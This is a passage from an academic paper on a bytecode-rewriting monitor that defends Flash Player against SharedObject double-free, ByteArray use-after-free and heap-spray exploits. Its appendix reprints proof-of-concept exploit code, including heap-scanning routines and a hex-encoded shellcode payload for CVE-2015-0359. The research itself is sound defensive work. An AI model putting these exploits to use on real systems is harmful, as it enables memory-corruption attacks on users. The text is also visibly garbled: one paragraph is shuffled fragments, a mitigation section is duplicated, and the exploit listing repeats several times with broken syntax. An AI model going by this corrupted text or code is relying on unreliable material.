    var sobj:SharedObject= SharedObject.getLocal("record");
    sobj.data.logs=exp;
  }  
}
```

Listing 7: Triggering a SharedObject double-free

c) Mitigation: Our policy, SharedObjectBound demands that the total size of all allocated SharedObjects belonging to a web domain or any single SharedObject for that web domain is always less than 100 KB. Our IRM will allow a write to a SharedObject to proceed if and only if the total size of all SharedObjects, after the write, will be less than 100 KB, irrespective of the number of SWFs running on that domain. If all SharedObjects combined are always less than or equal to 100 KB in size then the AVM’s garbage collection will not clear the SharedObjects a second time, thereby preventing the double-free vulnerability.

To enforce this policy, our bytecode rewriter injects a global, static variable current_size of the type SharedObject, that stores the total size of all SharedObjects belonging to a web domain. The reason of making current_size as a SharedObject is that a SharedObject can access all other SharedObjects across a domain even if there are multiple SWFs trying to create SharedObjects. Our rewriter then scans the SWF application’s bytecode to identify all occurrences where a SharedObject is created or updated and inserts guard-code to update the current_size variable before the SharedObject is written to. As the current_size variable is also a SharedObject we need to explicitly flush it to the disk so that it can be accessed when the next security relevant event occurs. Before allowing the write to any other SharedObjects, the guard-code checks if the updated total size of all SharedObjects will be less than 100 KB and only then allows the write to proceed and updates current_size. If the total size of the SharedObjects exceeds 100 KB the IRM suppresses the operation.

We created a proof-of-concept SWF ad that exploits CVE-2014-0502 to conduct the attack and defense. We show the code here at the source-level for clarity, but instrumentation is done directly at the bytecode level. Fig. 6 shows the inserted reified state variable, current_size. Fig. 7 shows IRM guard-code surrounding the security relevant operation underlined in blue.

d) Discussion and Impact: Operation GreedyWonk [23], exploited CVE-2014-0502, a zero-day Flash vulnerability at the time, to deface the websites of nonprofit institutions focusing on national security and public policy and redirect their users to malicious servers that installed PlugX [58], a remote access tool, on their machines.

Adobe categorized CVE-2014-0502 as critical and warned that it affects all Flash Player versions up to 12.0.0.44 on Windows and Macintosh, and all Flash Player versions up to 11.2.202.336 on Linux [59]. IBM X-Force Exchange [60] rated this vulnerability 9.3 out of 10 on their base score, marking its impact on confidentiality, integrity and availability as complete.

A plethora of security companies and security research websites including Symantec [61], ArsTechnica [62], TrendMicro [58], AlienVault [63], ZScaler [64], Dell’s Sonic Alert [65], and TrustWave [57] have described these vulnerabilities and exploits in detail.

D. ByteArray UAF

CVE-2015-5119, another popular vulnerability from Kaspersky’s Devil’s Dozen [11], was added to Angler EK, Neutrino, Hanjuan, Nuclear Pack and Magnitude exploit kits in 2015, leaked from the Hacking Team [66]. CVE-2015-5119 is a use-after-free vulnerability resulting from a faulty implementation of the ByteArray operator [], used to access an element or assign a value to an element at a given index.

a) Background: AS methods used in the attack:

- `valueOf()` (method)—a method of the Object class (which is extended by all classes), that if defined returns the primitive value of the object. If the object does not have a primitive value, `valueOf()` returns the object itself. `valueOf()` is called whenever an object’s value is operated on or used in an assignment operation.

b) The Attack: The exploit (Listing 8) consists of two classes (malClass and hClass) that operate on the same ByteArray objects. A ByteArray object b1 is created in malclass and its length is set to 12 (Line 6–7). Next, an hclass object is instantiated and b1 is passed as an argument to the constructor of hclass (Line 8). Any non-primitive
object is always passed by reference. This hclass object is referenced by mal (Line 8). In the constructor of hclass, b3 is used to hold the argument that has been passed to the constructor, which is then assigned to a local property b2 (Line 15–17). So now both b1 from malclass, and b2 from hclass, are referencing the same object. Back in malclass, mal is assigned to index 0 of b1 using operator [] (Line 9).

The control is now transferred to the valueOf() function of hclass (Line 19). As a side-effect of this function, the attacker increases the length of ByteArray b2 (Line 20) (also referenced by b1), and due to the semantics of the length property, the ByteArray is freed and is assigned a new chunk of memory. However, in malclass b1[0] still references the freed memory chunk causing the program to crash and creating a UAF vulnerability.

```java
package Monitor;
import flash.utils.ByteArray;

public class SafeDereference{
    public static function safe_dereference(obj, index, value:Byte, operator:Operator):void{
        if(obj is ByteArray)
            obj[index] = Number(value);
        else
            obj[index] = value;
    }
}
```

Listing 9: SafeDereference wrapper class

Our rewriter then merges our monitor package with the untrusted SWF so that our IRM is able to intercept every assignment operation involving [] operator.

The solution requires bytecode instrumentation using technique #1 because the wrapper class (technique #2) is not capable of interpreting the [] operator at run time. So we proceed with technique #1 to instrument the [] operator in the untrusted SWF’s bytecode and replace it with a call to the safe_dereference method in the wrapper class.

d) Discussion and Impact: Adobe, in their security bulletin for CVE-2015-5119 [67], categorized the vulnerability as critical and warned that it affects all Flash Player versions up to 18.0.0.194 for Windows, Macintosh and Linux. IBM X-Force Exchange [68] rated this vulnerability 8.8 out of 10 on their base score, marking its impact on confidentiality, integrity and availability as high.

This vulnerability was also discussed in detail on blogs maintained by security companies such as ZScaler [69], Palo Alto Networks [70], and popular malware researchers such as Malware Don’t Need Coffee [71] and KrebsOnSecurity [72].

E. Heap Spraying

In AS, heap spraying is achieved by having the target process allocate large blocks of free space on the process’s heap using Vector or ByteArray objects and then filling these blocks with the predetermined shellcode by taking advantage of existing vulnerabilities in the AVM.

a) Background: AS methods used in the attack:

- writeUTFBytes(), writeUTF(), writeByte(), writeBytes(), writeMultiByte() (methods)—all these are methods of the ByteArray class that allow different means for writing bytes to a ByteArray.

b) The Attack: Consider CVE-2015-0313 (See §III-A), that exploits a UAF vulnerability and then uses heap spraying to write 32-bit and 64-bit words containing shellcode to the memory using the dangling pointer. There are several such CVEs, for e.g. CVE-2015-3113 [72], CVE-2015-0336 [72], CVE-2015-0311 [72], CVE-2015-2425 [72], CVE-2015-8651 [72] that use heap spraying to alter control flow execution.
well-known patent for heap spray detection in ActionScript [73], object that implements our global, thread-safe any byte sequence. ByteArray.writeUTFBytes() (Lines 15-28), whenever Vector extensible to other objects, such as writeByte() and as methods that allow writing a the wrapper class in Listing 11. We have also overridden other annotation of ByteArray.writeUTFBytes() ByteArray as keys and the count for the number of times String hash-table. The hash-table uses the flash.utils.ByteArray for the mitigation. Our rewriter, using technique #2, first creates a wrapper String, and (ii) a String is not repeatedly (> 100 times) written to the same ByteArray object. Our policy to prevent heap spray attacks ensures that (i) a large String2 (> 1000 bytes) is not written to a ByteArray, and (ii) a String is not repeatedly (> 100 times) written to the same ByteArray. We chose to restrict the maximum size for a byte sequence to 1000 bytes based on a well-known patent for heap spray detection in ActionScript [73], and limit the number of times a byte sequence is sprayed on the heap to 100 times to demonstrate the feasibility of our mitigation. Our approach would work for any byte sequence size below the page-size limit of the underlying machine.

To enforce this policy, our IRM tracks the size and number of times a String is written to a ByteArray using a global, thread-safe-hash-table. Our rewrite targets the security-relevant operation of writing a String to a ByteArray. Our rewriter, using technique #2, first creates a wrapper for the flash.utils.ByteArray class. Our wrapper augments the flash.utils.ByteArray with a static Dictionary object that implements our global, thread-safe hash-table. The hash-table uses the Strings written to the ByteArray as keys and the count for the number of times they were written as value. We show the overridden implementation of ByteArray.writeUTFBytes() method inside the wrapper class in Listing 11. We have also overridden other methods that allow writing a String to a ByteArray, such as writeBytes(), writeMultiByte(), writeUTF(), and writeByte(). Our IRM for this policy is immediately extensible to other objects, such as Vectors, to which Strings can be written.

In the overridden implementation of method ByteArray.writeUTFBytes() (Lines 15-28), whenever a String str is written to the ByteArray object (security-relevant operation), our IRM checks whether str already has an entry in the hash-table. If an entry for str exists, then its count is incremented by one (Line 18), otherwise our IRM creates a new entry for str in the hash-table with an initial count of one (Line 20). If the size of the str is larger than 1000 bytes or if str has already been written to the ByteArray a 100 times, then our IRM suppresses the write operation (Line 23) and instead outputs a warning to the log to notify the user of a possible heap spray attack. If str is within specified size and count threshold, our IRM safely calls the flash.utils.ByteArray class to proceed with the write.

Listing 10: Heap Spray attack

Listing 10 shows the code for a proof-of-concept heap spray attack. Lines 1 and 2 show the code where the basic byte sequence for the shellcode (in this case the string 'HEAP-SPRAY!') and no-operation ('nop') instruction are stored in variables shellcode and nop as Strings respectively. Lines 3-9 create one enormous block (0x50000 or 327680 bytes) of memory consisting of smaller chains of the nop instructions commonly referred to as a nop sled or a nop slide. Lines 11-12 create a ByteArray object and repeatedly insert the concatenation of the strings nop sled and shellcode in the ByteArray. The final heap now has a long chain of blocks containing nop instructions and the shellcode. The heap spray attack can similarly be executed by inserting shellcode into a Vector object instead of a ByteArray object.

c) Mitigation: Our policy to prevent heap spray attacks ensures that (i) a large String2 (> 1000 bytes) is not written to a ByteArray, and (ii) a String is not repeatedly (> 100 times) written to the same ByteArray. We chose to restrict the maximum size for a byte sequence to 1000 bytes based on a well-known patent for heap spray detection in ActionScript [73], and limit the number of times a byte sequence is sprayed on the heap to 100 times to demonstrate the feasibility of our mitigation. Our approach would work for any byte sequence size below the page-size limit of the underlying machine.

To enforce this policy, our IRM tracks the size and number of times a String is written to a ByteArray using a global, thread-safe-hash-table. Our rewrite targets the security-relevant operation of writing a String to a ByteArray. Our rewriter, using technique #2, first creates a wrapper for the flash.utils.ByteArray class. Our wrapper augments the flash.utils.ByteArray with a static Dictionary object that implements our global, thread-safe hash-table. The hash-table uses the Strings written to the ByteArray as keys and the count for the number of times they were written as value. We show the overridden implementation of ByteArray.writeUTFBytes() method inside the wrapper class in Listing 11. We have also overridden other methods that allow writing a String to a ByteArray, such as writeBytes(), writeMultiByte(), writeUTF(), and writeByte(). Our IRM for this policy is immediately extensible to other objects, such as Vectors, to which Strings can be written.

In the overridden implementation of method ByteArray.writeUTFBytes() (Lines 15-28), whenever a String str is written to the ByteArray object (security-relevant operation), our IRM checks whether str already has an entry in the hash-table. If an entry for str exists, then its count is incremented by one (Line 18), otherwise our IRM creates a new entry for str in the hash-table with an initial count of one (Line 20). If the size of the str is larger than 1000 bytes or if str has already been written to the ByteArray a 100 times, then our IRM suppresses the write operation (Line 23) and instead outputs a warning to the log to notify the user of a possible heap spray attack. If str is within specified size and count threshold, our IRM safely calls the flash.utils.ByteArray class to proceed with the write.

Listing 11: Wrapper for flash.utils.ByteArray

We created a proof-of-concept SWF ad to conduct the attack and defense. Listing 11 shows the source of the wrapper class that was compiled into the monitor.

Fig. 8: Rewritten Heap Spray method

Fig. 8 shows the source of the rewritten SWF. The code for the heap spray, underlined in red, shows the attacker creating a nop sled by concatenating the same String with itself till it becomes of a very large length.
ActionScript’s object encapsulation and type-safety prevent
wrapper classes, the wrapper class is implemented as a
final writer wins’ principle: Any potentially unsafe binary code
were written in Java using JDK v. 1.7.0_75. Table II summarizes
within the specified threshold.

d) Discussion and Impact: Heap sprays are powerful
attack vectors when combined with other memory corruption
capabilities to exploit the underlying system. In five out of
the thirteen Devil’s Dozen vulnerabilities of 2015 that were
most commonly used in all popular exploit kits [11], heap
spraying was used to gain control of the heap, CVE-2015-
2425 [74] and CVE-2015-8651 [75], which caused wide-spread
financial damage, also used heap spraying. No security bulletins
or security patches have been issued by Adobe to address heap
spray, for new or legacy versions of the Flash Player.

IV. EXPERIMENTAL SETUP

All experiments were conducted on a machine with a 2.5
GHz Intel Core i5 processor with 8GB RAM. Proof-of-concept
ads for each exploit were created using Adobe Flash Builder v.
4.7. The parser, rewriter, and code-generator for AS3 bytecode
were written in Java using JDK v. 1.7.0.75. Table II summarizes
our experimental results. For computing the total rewriting
time for each policy, we ran each policy rewriter ten times and
computed the average. Size overhead of each rewritten SWF
was measured using the uncompressed size of the application
bytecode before and after rewriting. As mentioned in II-C,
the actual implementation of the IRM checks for concurrency
issues and thread-safety and the performance overhead for each
policy has been calculated with the thread-safe implementation.

V. DISCUSSION

A. Security Analysis of the IRM

As explained in §II-A, our approach is based on the “last
writer wins” principle: Any potentially unsafe binary code
that might circumvent the IRM enforcement at runtime is
automatically replaced with behaviorally equivalent safe code
during the instrumentation. Thus, since the binary rewriter
is the last to write to the file before it executes, its security
controls dominate and constrain all untrusted control-flows.

A Flash program is not allowed to modify its source at
runtime [76], which makes it impossible for a malicious
SWF file to alter our IRM code. For the rewriter that uses
wrapper classes, the wrapper class is implemented as a final
class in a dedicated namespace (i.e., Monitor). If the attack
code already extends the same class that our monitor extends,
complete mediation is still achieved. After the untrusted SWF
goes through the wrapper class rewriting, the bytecode rewriter
modifies the metadata of the malicious SWF to change its
extended class to our Monitor class. This ensures that
the malicious SWF uses the safe functions provided by our
Monitor class instead of using the unsafe functions in the
untrusted class, thereby providing complete mediation.

B. Attack and Defense Design Challenges

All vulnerabilities described in this paper were results of
subtle inconsistencies in the complex AS language semantics
or obscure security flaws deep inside the AVM, thus requiring
a comprehensive understanding of both. In order to achieve this
depth of understanding, we performed extensive background
research and experiments, since the AVM2 is not open source.
Additionally, a thorough knowledge of all AS 3.0 classes and
their properties involved in the vulnerabilities and exploits was
required to create policies to mitigate further attacks.

Creating proof-of-concept ads with full exploits was also
challenging, since we had to stitch the exploits from code
snippets and relevant information dispersed amongst several
websites. Additionally, some vulnerabilities required a very
specific environment set-up for being triggered, for e.g., the
ByteArray double-free targets SWF version 25 specifically.
Several vulnerabilities required Workers, but neither of
Adobe’s Creative Suite tools for Flash development (Animate
CC or Flash Builder 4.7) had tracing or debugging for
background Workers.

To the best of our knowledge, there are currently no
commercially available libraries or tools for AS bytecode
manipulation. This made rewriting at the bytecode level a challenging task, since instrumentation required complete knowledge of the bytecode level instructions and meta-data. Also, a lack of good debugger support meant a lack of fine-grained debugging information.

C. Deployment

We conservatively assume that most users update their web-browsers and Flash Players only sporadically, which allows their systems to be compromised by exploits targeting vulnerabilities that were recently patched. We envision our toolchain and policy enforcement to be deployed more effectively by third-party entities, such as website publishers and advertisement networks, that serve Flash content to users without being able to directly access the user’s VM.

VI. RELATED WORK

In-lined Reference Monitoring for ActionScript Bytecode: Recent related works present prototype in-lined reference monitoring systems for Flash/ActionScript [24], [78]. The main objectives of two of the works [24], [78] are developing certification algorithms for proving soundness (instrumented code satisfies a given security policy) and transparency (instrumentation process does not alter the behavior of safe programs) properties of IRMs; therefore, the authors use only small, prototype binary rewriters for simple policies to demonstrate feasibility of the certification techniques. Our IRM solution can enforce a more extensive class of policies for real-world vulnerabilities. Our IRM framework is designed to be plugged into these certification frameworks in future work.

FlashJaX [20] is an IRM solution for cross-platform web content spanning Flash and JavaScript. The authors demonstrate security enforcement of web pages without requiring any browser modifications or special plug-ins. FlashJaX, however, mainly targets cross-platform security policies that employ the ExternalInterface.call method for communication between AS and JS on a web page.

FIRM [76] presents an in-lined reference monitoring approach for mediating the interaction between Flash and the DOM using capability tokens. Each SWF is assigned a unique capability token which is associated with a set of policies to be enforced on the SWF. FIRM instruments the SWF with wrappers that guard functions that interact with DOM objects; additionally, FIRM wraps certain security-sensitive DOM objects’ getters and setters. The SWF wrappers work in sync with the DOM wrappers to allow or deny function calls based on the capability tokens. Our IRM enforcement targets vulnerabilities arising out of security flaws inside the AVM, which FIRM cannot enforce.

Mitigations for Specific Flash Security Issues: InContext [79] prevents clickjacking attacks by identifying differences in the bitmaps of what the user sees on-screen and target sensitive UI elements rendered in isolation. FPDetective [80] employs a monitoring proxy to defend users against fingerprinting attacks [81]; the proxy examines Flash objects between the browser and server to detect fingerprinting patterns, such as loading fonts or accessing browser-specific properties.

The Extended Same Origin Policy (eSOP) [82] mitigates Flash-based DNS rebinding attacks by adding a fourth component, server-origin, to the browser’s same-origin policy. The server-origin component is explicit information provided by the server concerning its trust boundaries and any mismatch between the domain and server-origin will stop the attack.

Copious benign usage of URL redirection in Flash ads misleads security tools to produce false negatives for truly malicious URL redirects in Flash plug-ins. Related work monitors plug-ins instead of SWFs to reduce this false negative rate [83]. Spiders can also identify malicious Flash URL redirects [84].

HadROP [85] utilizes machine learning to mitigate ROP attacks including Flash ROP attacks. Differences in micro-architectural events (mis-predicted branches, L1 cache misses, etc.) between conventional programs and malicious programs are used for detection. In another related work, static and dynamic analyses are used in conjunction to extract features of a SWF for feeding into a deep learning [86] tool for anomaly-based Flash malware detection [87].

GORDON [88] uses a combination of structural and control-flow analysis of SWFs and machine-learning to detect the presence of malware. However, GORDON has been implemented on Flash’s open source implementations, Gnash [89] and LightSpark [90]. FlashDetect [91] extends OdoSwiff [92] to ActionScript 3.0. It dynamically analyzes SWF files using an instrumented version of Lightspark [90] Flash player to save traces of security relevant events. It then performs static analysis on AS3 bytecode to identify common vulnerabilities and exploitation techniques.

VII. CONCLUSION

We have presented the design and implementation of a fully automated Flash code binary transformation system that can guard major Flash vulnerability categories without modifying vulnerable Flash VMs. We demonstrated two complementary binary transformation approaches, direct monitor in-lining as bytecode instructions and binary class-wrapper, for flexible and elegant instrumentation. In detailed case-studies, we
describe proof-of-concept exploits and mitigation strategies for five major Flash vulnerability categories.

In future work, we plan to fit our Flash IRM framework into certification systems for IRM soundness and transparency [24], [78]. We also plan to extend our framework to handle malicious events generated in externally loaded files inside a SWF.

ACKNOWLEDGMENTS

This research was supported in part by NSF awards #1054629, #1065216, and #1513704, and ONR award N00014-14-1-0030, and the Department of Software and Information Systems at the University of North Carolina Charlotte.

REFERENCES

APPENDIX

A. ApplicationDomain UAF

Here, the last two stages of the Angler EK exploit of CVE-2015-0313 (presented in §II-C) is discussed, following the discussion by Tao Yan [34].

To remind the reader, the Angler EK exploit constitutes a malicious SWF file containing one primary Worker and one background Worker. The Workers share a ByteArray object through the ApplicationDomain’s domainMemory property.

In the first stage of this attack, the attacker sets a shared ByteArray object named attacking_buffer to ApplicationDomain.currentDomain.domainMemory property and sends a message to the background Worker instructing it to free attacking_buffer. In the second stage of the attack, upon receiving the message from the primary Worker, the background Worker frees attacking_buffer. Since attacking_buffer was assigned to domainMemory in the primary Worker, the primary Worker retains a pointer to the attacking_buffer in memory, resulting in the UAF vulnerability.

Listing 12: domainMemory attack, stage 3 [34]

```actionscript
private function take_over_buffer() : Boolean{
    this.make_spray_by_buffers_make_holes();
    this.make_filling_by_uints();
    ...
}

private function attack() : Boolean{
    var _loc1_:uint = 0;
    var _loc2_:uint = this.byte_array_size;
    while(_loc2_ < _loc3_){
        _loc1_ = this.magic_read_uint(_loc2_);
        if(_loc1_ == this.vector_elements){
            _loc1_ = this.magic_read_uint(_loc2_ + (this.x86_url_checked << 3));
            if(_loc1_ == this.vector_elements * 2 + 1)
                return true;
            _loc2_++;
        }
    }
    return false;
}

private function take_over_32() : Boolean{
    _loc2_ = _loc2_ + (this.x86_url_checked << 2);
    return true;
}

Listing 13: domainMemory attack, stage 4 [34]

Listing 13 shows the code for the fourth and final stage of the exploit. The malicious SWF scans the heap for the Vector of the same length as the one stored via domainMemory. After finding this Vector, it scans for the ROP gadgets to construct and write the ROP chain and shellcode to the buffer, which then allows it to execute ROP attacks.

B. ByteArray Double-Free

Listing 14 shows a complete proof-of-concept exploit from Google Security Research Database [27] for the double-free ByteArray vulnerability (CVE-2015-0359) outlined in §III-B [27]. After causing a race condition that triggers the double-free vulnerability, the attacker sprays the heap with ROP gadgets. Finally, the attacker scans the heap for ROP gadgets, building a ROP chain from them and executes the malicious payload.

Listing 14: ByteArray Double-Free

```actionscript
package {
    import flash.concurrent.Mutex;
    import flash.display.MovieClip;
    import flash.events.Event;
    import flash.net.FileReference;
    import flash.system.MessageChannel;
    import flash.system.Worker;
    import flash.system.WorkerDomain;
    import flash.utils.Endian;
    import Monitor.ByteArray;

    public class CVE_2015_0359 extends MovieClip {
        public var bShared:ByteArray;
        public var workerToMain:MessageChannel;
        public var mutex:Mutex;
        public var swBytes:ByteArray;
        public var baFilePayloads:ByteArray;
        public var baLength:uint;
        public var vLength:uint;

        public function CVE_2015_0359() {
            if (Worker.current.isPimordial) {
                bShared = new ByteArray();
                bShared.length = 0x400;
                bShared.shareable = true;
                swBytes = ByteArray.convert(this.loaderInfo.bytes);
                baLength = 0x30;
                vLength = (baLength - 8) / 4;
                runWorker();
            } else {
                this.unchained_vector_index = _loc2_;
                this.unchained_vector = _loc1_;
                return true;
            }
        }
    }
}
```
playWithWorker();
}

function runWorker() {
    
    var bShared:ByteArray = Worker.current.getSharedProperty("byteArray");
    mc.-send("Worker", bShared[getMeasuredLength() - 1], 1);
    var tempBytes:ByteArray = new ByteArray();
    tempBytes.writeUnsignedInt(0x41424344);
    tempBytes.writeUnsignedInt(0x41424344);
    mutex.lock();
    var j:uint = 0;
    for (;j<0x1000;j++) {
        bShared.writeObject(tempBytes);
        bShared.clear();
        trace("bytearrayCleared");
        bShared.length = 0x30;
    }
    mutex.unlock();
    Worker.current.terminate();
}

function shootMe(v:Vector.<uint>,vAddress:uint) {
    runWorker();
    for (k=0;k<0x20;k++) {
        if (true) {
            mutex.lock();
            bShared.writeBytes(tempBytes);
            bShared.length = 0x30;
            trace("bytearrayCleared");
            bShared.length = 0x30;
        }
        mutex.unlock();
    }
}

function onMessage(ev:Event): void {
    bgWorker.setSharedProperty("mc", workerToMain);
    workerToMain.addEventListener(Event.CHANNEL_MESSAGE, onMessage);
    bgWorker = WorkerDomain.current.createWorker(0x40000000 - l) * 4;
    bgWorker.start();
}

function runWorker() {
    
    bgWorker = WorkerDomain.current.createWorker(
        0x40000000 - l) * 4;
    bgWorker.setSharedProperty("mutex", mutex);
    bgWorker.setSharedProperty("byteArray", bShared);
    bgWorker.setSharedProperty("mc", workerToMain);
    workerToMain.addEventListener(Event.CHANNEL_MESSAGE, onMessage);
    bgWorker.start();
}

var bgWorker:Worker;

function playWithWorker() {
    
    var mc:MessageChannel = Worker.current.
        getSharedProperty("MessageChannel");
    var bShared:ByteArray = Worker.current.
        getSharedProperty("byteArray");
    
    var mutex:Mutex = Worker.current.
        getSharedProperty("mutex");
    mc. send("Worker", bShared[getMeasuredLength() - 1], 1);
    var tempBytes:ByteArray = new ByteArray();
    tempBytes.writeUnsignedInt(0x41424344);
    tempBytes.writeUnsignedInt(0x41424344);
    mutex.lock();
    var j:uint = 0;
    for (;j<0x1000;j++) {
        bShared.writeObject(tempBytes);
        bShared.clear();
        trace("bytearrayCleared");
        bShared.length = 0x30;
    }
    mutex.unlock();
    Worker.current.terminate();
}

function shootMe(v:Vector.<uint>,vAddress:uint) {
    runWorker();
    for (k=0;k<0x20;k++) {
        if (true) {
            mutex.lock();
            bShared.writeBytes(tempBytes);
            bShared.length = 0x30;
            trace("bytearrayCleared");
            bShared.length = 0x30;
        }
        mutex.unlock();
    }
}

function onMessage(ev:Event): void {
    bgWorker.setSharedProperty("mc", workerToMain);
    workerToMain.addEventListener(Event.CHANNEL_MESSAGE, onMessage);
    bgWorker = WorkerDomain.current.createWorker(0x40000000 - l) * 4;
    bgWorker.start();
}

function runWorker() {
    
    bgWorker = WorkerDomain.current.createWorker(
        0x40000000 - l) * 4;
    bgWorker.setSharedProperty("mutex", mutex);
    bgWorker.setSharedProperty("byteArray", bShared);
    bgWorker.setSharedProperty("mc", workerToMain);
    workerToMain.addEventListener(Event.CHANNEL_MESSAGE, onMessage);
    bgWorker.start();
}

var bgWorker:Worker;

function playWithWorker() {
    
    var mc:MessageChannel = Worker.current.
        getSharedProperty("MessageChannel");
    var bShared:ByteArray = Worker.current.
        getSharedProperty("byteArray");
    
    var mutex:Mutex = Worker.current.
        getSharedProperty("mutex");
    mc. send("Worker", bShared[getMeasuredLength() - 1], 1);
    var tempBytes:ByteArray = new ByteArray();
    tempBytes.writeUnsignedInt(0x41424344);
    tempBytes.writeUnsignedInt(0x41424344);
    mutex.lock();
    var j:uint = 0;
    for (;j<0x1000;j++) {
        bShared.writeObject(tempBytes);
        bShared.clear();
        trace("bytearrayCleared");
        bShared.length = 0x30;
    }
    mutex.unlock();
    Worker.current.terminate();
}

function shootMe(v:Vector.<uint>,vAddress:uint) {
    runWorker();
    for (k=0;k<0x20;k++) {
        if (true) {
            mutex.lock();
            bShared.writeBytes(tempBytes);
            bShared.length = 0x30;
            trace("bytearrayCleared");
            bShared.length = 0x30;
        }
        mutex.unlock();
    }
}

function onMessage(ev:Event): void {
    bgWorker.setSharedProperty("mc", workerToMain);
    workerToMain.addEventListener(Event.CHANNEL_MESSAGE, onMessage);
    bgWorker = WorkerDomain.current.createWorker(0x40000000 - l) * 4;
    bgWorker.start();
}

function runWorker() {
    
    bgWorker = WorkerDomain.current.createWorker(
        0x40000000 - l) * 4;
    bgWorker.setSharedProperty("mutex", mutex);
    bgWorker.setSharedProperty("byteArray", bShared);
    bgWorker.setSharedProperty("mc", workerToMain);
    workerToMain.addEventListener(Event.CHANNEL_MESSAGE, onMessage);
    bgWorker.start();
}

var bgWorker:Worker;

function playWithWorker() {
    
    var mc:MessageChannel = Worker.current.
        getSharedProperty("MessageChannel");
    var bShared:ByteArray = Worker.current.
        getSharedProperty("byteArray");
    
    var mutex:Mutex = Worker.current.
        getSharedProperty("mutex");
    mc. send("Worker", bShared[getMeasuredLength() - 1], 1);
    var tempBytes:ByteArray = new ByteArray();
    tempBytes.writeUnsignedInt(0x41424344);
    tempBytes.writeUnsignedInt(0x41424344);
    mutex.lock();
    var j:uint = 0;
    for (;j<0x1000;j++) {
        bShared.writeObject(tempBytes);
        bShared.clear();
        trace("bytearrayCleared");
        bShared.length = 0x30;
    }
    mutex.unlock();
    Worker.current.terminate();
}

function shootMe(v:Vector.<uint>,vAddress:uint) {
    runWorker();
    for (k=0;k<0x20;k++) {
        if (true) {
            mutex.lock();
            bShared.writeBytes(tempBytes);
            bShared.length = 0x30;
            trace("bytearrayCleared");
            bShared.length = 0x30;
        }
        mutex.unlock();
    }
}

function onMessage(ev:Event): void {
    bgWorker.setSharedProperty("mc", workerToMain);
    workerToMain.addEventListener(Event.CHANNEL_MESSAGE, onMessage);
    bgWorker = WorkerDomain.current.createWorker(0x40000000 - l) * 4;
    bgWorker.start();
}

function runWorker() {
    
    bgWorker = WorkerDomain.current.createWorker(
        0x40000000 - l) * 4;
    bgWorker.setSharedProperty("mutex", mutex);
    bgWorker.setSharedProperty("byteArray", bShared);
    bgWorker.setSharedProperty("mc", workerToMain);
    workerToMain.addEventListener(Event.CHANNEL_MESSAGE, onMessage);
    bgWorker.start();
}

var bgWorker:Worker;

function playWithWorker() {
    
    var mc:MessageChannel = Worker.current.
        getSharedProperty("MessageChannel");
    var bShared:ByteArray = Worker.current.
        getSharedProperty("byteArray");
    
    var mutex:Mutex = Worker.current.
        getSharedProperty("mutex");
    mc. send("Worker", bShared[getMeasuredLength() - 1], 1);
    var tempBytes:ByteArray = new ByteArray();
    tempBytes.writeUnsignedInt(0x41424344);
    tempBytes.writeUnsignedInt(0x41424344);
    mutex.lock();
    var j:uint = 0;
    for (;j<0x1000;j++) {
        bShared.writeObject(tempBytes);
        bShared.clear();
        trace("bytearrayCleared");
        bShared.length = 0x30;
    }
    mutex.unlock();
    Worker.current.terminate();
}
```javascript
while (true)
{
    var allocation_size:uint = getMemoryAt(vector, address, (allocation_contents + 8));
    if (allocation_size == 0x50)
    {
        allocation_contents = getMemoryAt(vector, address, (allocation_contents + 0x94));
        break;
    }
    return (allocation_contents);
}

function getFileReferenceLocation(vector:Vector.<uint>, address:uint, marker:uint):uint
{
    var heapListEntry:uint = getMemoryAt(vector, address, (address & 0xFFFFFFF000 + 0x1c));
    var heapListStart:uint = getMemoryAt(vector, address, heapListStart + 4);
    if (getPayloadLocation(vector, address, largeHeapStart) == marker)
    {
        return largeChunk;
    }
    largeHeapStart = getMemoryAt(vector, address, largeHeapStart);
    return largeChunk;
}

function buildCalcPayload():ByteArray {
    var calc:ByteArray = new ByteArray();
    calc.endian = Endian.BIG_ENDIAN;
    calc.writeUnsignedInt(0x04544545);
    calc.writeUnsignedInt(0x05555555);
    calc.writeUnsignedInt(0x55555555);
    calc.writeUnsignedInt(0x55555555);
    calc.writeUnsignedInt(0x0000000F);
    calc.writeUnsignedInt(0x0345FC8B);
    calc.writeUnsignedInt(0x022C20C1);
    calc.writeUnsignedInt(0x722833C0);
    calc.writeUnsignedInt(0xB74A268B);
    calc.writeUnsignedInt(0x00000000);
    calc.writeUnsignedInt(0x048A0345);
    calc.writeUnsignedInt(0x7D0875E1);
    calc.writeUnsignedInt(0xCF0D03F8);
    calc.writeUnsignedInt(0x33C0ACC1);
    calc.writeUnsignedInt(0x75FC33FF);
    calc.writeUnsignedInt(0x8B348A03);
    calc.writeUnsignedInt(0xFCE33C49);
    calc.writeUnsignedInt(0x50240355);
    calc.writeUnsignedInt(0x744D0345);
    calc.writeUnsignedInt(0x0345FC8B);
    calc.writeUnsignedInt(0x50200355);
    calc.writeUnsignedInt(0x8B48188B);
    calc.writeUnsignedInt(0xFC8B423C);
    calc.writeUnsignedInt(0x52108955);
    calc.writeUnsignedInt(0x8B55F88B);
    calc.writeUnsignedInt(0x45F4E2EE);
    calc.writeUnsignedInt(0x148955F8);
    calc.writeUnsignedInt(0x5653E8B3);
    calc.writeUnsignedInt(0x00000005);
    calc.writeUnsignedInt(0x7475F4A0);
    calc.writeUnsignedInt(0x00000000);
    calc.writeUnsignedInt(0x55F88B12);
    calc.writeUnsignedInt(0x0C204008B);
    calc.writeUnsignedInt(0xFC5E5FC9);
    calc.writeUnsignedInt(0x048A0345);
    calc.writeUnsignedInt(0x7D0875E1);
    calc.writeUnsignedInt(0xCF0D03F8);
    calc.writeUnsignedInt(0x33C0ACC1);
    calc.writeUnsignedInt(0x75FC33FF);
    calc.writeUnsignedInt(0x8B348A03);
    calc.writeUnsignedInt(0xFCE33C49);
    calc.writeUnsignedInt(0x50240355);
    calc.writeUnsignedInt(0x744D0345);
    calc.writeUnsignedInt(0x0345FC8B);
    calc.writeUnsignedInt(0x50200355);
    calc.writeUnsignedInt(0x8B48188B);
    calc.writeUnsignedInt(0xFC8B423C);
    calc.writeUnsignedInt(0x52108955);
    calc.writeUnsignedInt(0x8B55F88B);
    calc.writeUnsignedInt(0x45F4E2EE);
    calc.writeUnsignedInt(0x148955F8);
    calc.writeUnsignedInt(0x5653E8B3);
    calc.writeUnsignedInt(0x00000005);
    calc.writeUnsignedInt(0x7475F4A0);
    calc.writeUnsignedInt(0x00000000);
    calc.writeUnsignedInt(0x55F88B12);
    return largeChunk;
}
```
calc.writeUnsignedInt(0xE970FFFF);
calc.writeUnsignedInt(0xFF63616C);
calc.writeUnsignedInt(0x632E6578);
